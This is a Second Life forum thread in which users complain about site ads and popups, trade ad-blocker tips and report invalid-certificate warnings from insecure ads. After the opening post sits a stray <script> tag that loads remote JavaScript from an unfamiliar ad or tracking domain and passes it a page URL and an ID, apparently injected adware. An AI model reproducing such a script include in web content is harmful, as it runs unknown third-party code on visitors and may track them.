Advertizing annoyance

[Bobbie Faulds]

Anyone else annoyed by the banner ads on these and the dashboard pages? I'm really surprised to see advertisments for other on line games that compete with SL for players.

I'm also really getting annoyed with popups from the bottom or when I click to go to another page on my dashboard having another page open for an advert or join an online game.

I understand that SL uses these for revenue, but it's annoying at the very least.

 

<script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={EEC085C4-7C23-41DA-81DD-240F2C2A3341}&d=2013-7-21&s=http://community.secondlife.com/t5/forums/postpage/board-id/GeneralDiscussionForum&cb=0.19332552484488652"></script>

[Awe Thor]

What ads?

Awe . . . has not seen any ads on the internet for about five years.

[Orca Flotta]

Bobbie, haven't you heard of AdBlock add-ons for your browser? If you're using Firefox just clicker Tools --> Add-ons. There are dozens to chose from. I recommend Adblock Plus Edge. Installation wil take you about 20 seconds and give you peacce of mind forever. Oh, and while you're at it install DoNotTrackMe from the same source. For both add-ons no further  tweaking is needed. Done. Finito.

[Czari Zenovka]

Thanks, Orca!  Already had AdBlock Plus installed but just installed DoNotTrackMe as well.

[Teagan Tobias]

If you do install Adblock, look in Tools, Adblock Plus, Filter Preferences... and UN-check; Allow some non-intrusive advertising. Having it checked was causing me some problems.

[Sassy Romano]

Whilst adblock and other similar methods are find for PC's and some tablets, i've found that on Android, with adblock plus installed, authentication fails.  Further, I find that adblock only works when on wifi and not on mobile data.

The annoyance for me is that when on a mobile device, the page loads, then you go to tap on a link but just at that moment, that ad loads and bumps the page down and I get the wrong link.

LL could fix this by using frames, not having the ads at all or putting the ad at the BOTTOM of the page instead of the top and none of this would affect them at all.  Of course, i'd rather not see them at all but when they do make the browsing experience worse, that's when they should think again about how they're implemented.

[Phil Deakins]

I do wish that people would stop whining (yes whining) about the ads. If you don't like websites that have ads in them, don't use the websites. It's entirely your choice.

Some people "don't want to be advertised to". Tough! It can't be avoided in life AND there is absolutely nothing wrong with being advertised to. So please learn to live in the world that we all live in, and stop whining about it.

[Sassy Romano]

In fairness Phil, my complaint isn't that the ads are there, it's that for the technical reason cited, they impair the browsing experience on certain devices.  If i'm scrolled down the page on my phone, I have to wait a bit longer, to be sure that the ad has loaded such that it's not going to shift the links down when i'm about to select a link because if it does, I have to go back and repeat again...and wait.

The implementation is poor and could so easily be changed.

[Phil Deakins]

I wasn't thinking about your technical issue, Sassy, and I had read it. I was talking about those who dislike ads so much that they whine about them instead of accepting the world we live in or stopping using websites that show ads.

I also came across it on another forum (Virgin Media). When Virgin implemented unobtrusive ads that appear within the TiVo system, some people whined because they "don't want to be advertised to". It was unbelievable because the ads they whined about pop up when they press the Pause button. They Paused the TV so they were not watching it, and yet they whined about the ad being on the screen that they weren't watching. For the rare occasions when they really did want to see the paused screen, a single key-press removed the ad, but still they whined.

Between that forum and this, I've learned that there are people who whine about ads, because they have an objection, on principle, to being advertised to, but they know that they can't avoid them in the world we live in. I just wish they'd learn to accept the world in that respect and stop whining about it. It never gets them anywhere and it's very self-centred.

The positions of the ads in LL's websites are generally unobtrusive. The one on the right side need never be seen. In fact I didn't know it was there until it was mentioned in a thread here. The one on the top is fine. It means that we see less on the bottom until we scroll down but it's no biggie. I appreciate that there are some circumstances, like the one you mentioned, where it can get in the way but, in general, it doesn't get in the way and it's fine.

[Coby Foden]

---

Phil Deakins wrote:

I do wish that people would stop whining (yes

whining

) about the ads.

---

:smileyindifferent:

 

:smileywink:

[Phil Deakins]

That's not a proper complaints department, Coby. If it was, it'd have ads attached

I like the concept though

[Gabby Pixelbottom]

Well, I have never really "whined" about the ads but I guess I will just a little bit now as I do find them to sometimes be intrusive. I think it is perfectly legitimate for ads to be displayed for non-premium "free" accounts, but I do think that paying "premium" customers should not be subjected to them however.

[Melita Magic]

I have been getting some sort of error message about an invalid certificate when I try to use Safari for this website, recently.

It says something like, invalid certificate, proceed anyway? And it names some sort of ad as the problem.

What's going on?

[KarenMichelle Lane]

Safari is kind of funny as a Internet Viewer. Unlike IE & Firefox it won't warn you explicitly when you are in a Secure Session [ https://... ] with SecondLife.com and an insecure ad is presented beside your displayed secure content. It will simply give you the invalid certificate message because the ad isn't from a secure server.

In any case you are being warned that there are insecure things on the page about to be displayed so the security of your session should be suspect.

[Phil Deakins]

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Gabby Handrick wrote:

Well, I have never really "whined" about the ads but I guess I will just a little bit now as I do find them to sometimes be intrusive. I think it is perfectly legitimate for ads to be displayed for non-premium "free" accounts, but I do think that paying "premium" customers should not be subjected to them however.

---

You don't have to see them if you really don't want. All you need to do is use websites that don't display ads. Or decide that the ads here are not intrusive - because they are not.

You'll never escape being advertised to in this world, so the best thing you can do is accept it and be happy.

[TishaRogue]

YES!!!! i'm getting the pop ups too. In its self its big time annoying to have to get rid of the pop up warning on every page i click. What is worse is that the pop up is a warning from the security system saying that the adds certificates are invalid and that they may be taking personal information from me. 

This warning is freaking me out and i've been running all kinds of security checks on my computer. The machine has quarantined a couple things after i clicked the warning away but the boxes keep coming back up if i click yes no or maybe so.

For those of you wanting to make income on marketplace or for the labs wanting to sell lindens.. on the days i'm getting these warnings i'm refusing to log into the account due to this warning message. That means no purchases for me be it product or linden dollars.

If the ads that are being used are showing up as having invalid credentials its going to call into question a lot of other security and safety issues making people reluctant to use the pages. If the labs choose to have ads on the side thats their choice but they need to be making sure those ads aren't possible malwear ruining their customers computers or at least making their customers think it could. The people using these pages need to feel secure if they are going to keep coming back.

For any of the lab people that might see this and wish to fix the problem... its not all the ads setting off the alerts.. since i have started watching it more it is the ads that say on them something about for males only in the text part so it may be just some of the ads that need to be fixed for their certificates. again so you know what your dealing with if your fixing this.. the warning sites that the ads certificate is invalid and may be taking personal info from the computer.

[TishaRogue]

regarding the comment about wining about the ads:

its not the ads themselves i have the problem with its the fact that some of them are not functioning the right way and are setting off security alerts that keep popping up all the time the ad is on a page. sure i could do some of the suggestions from the tool menus (once i find them as my browser isn't the same as the one given in the instructions) but that only Band-Aids the problem. The faulty ad needs to be fixed so its not causing the problem. Once its fixed the ads don't matter to me.

[Phil Deakins]

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TishaRogue wrote:

regarding the comment about wining about the ads:

its not the ads themselves i have the problem with its the fact that some of them are not functioning the right way and are setting off security alerts that keep popping up all the time the ad is on a page. sure i could do some of the suggestions from the tool menus (once i find them as my browser isn't the same as the one given in the instructions) but that only Band-Aids the problem. The faulty ad needs to be fixed so its not causing the problem. Once its fixed the ads don't matter to me.

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It's me who describes moans about ads as 'whining'; but the description only applies to those who simply don't want to see ads and whine about them. It doesn't apply to those who have other problems with the ads.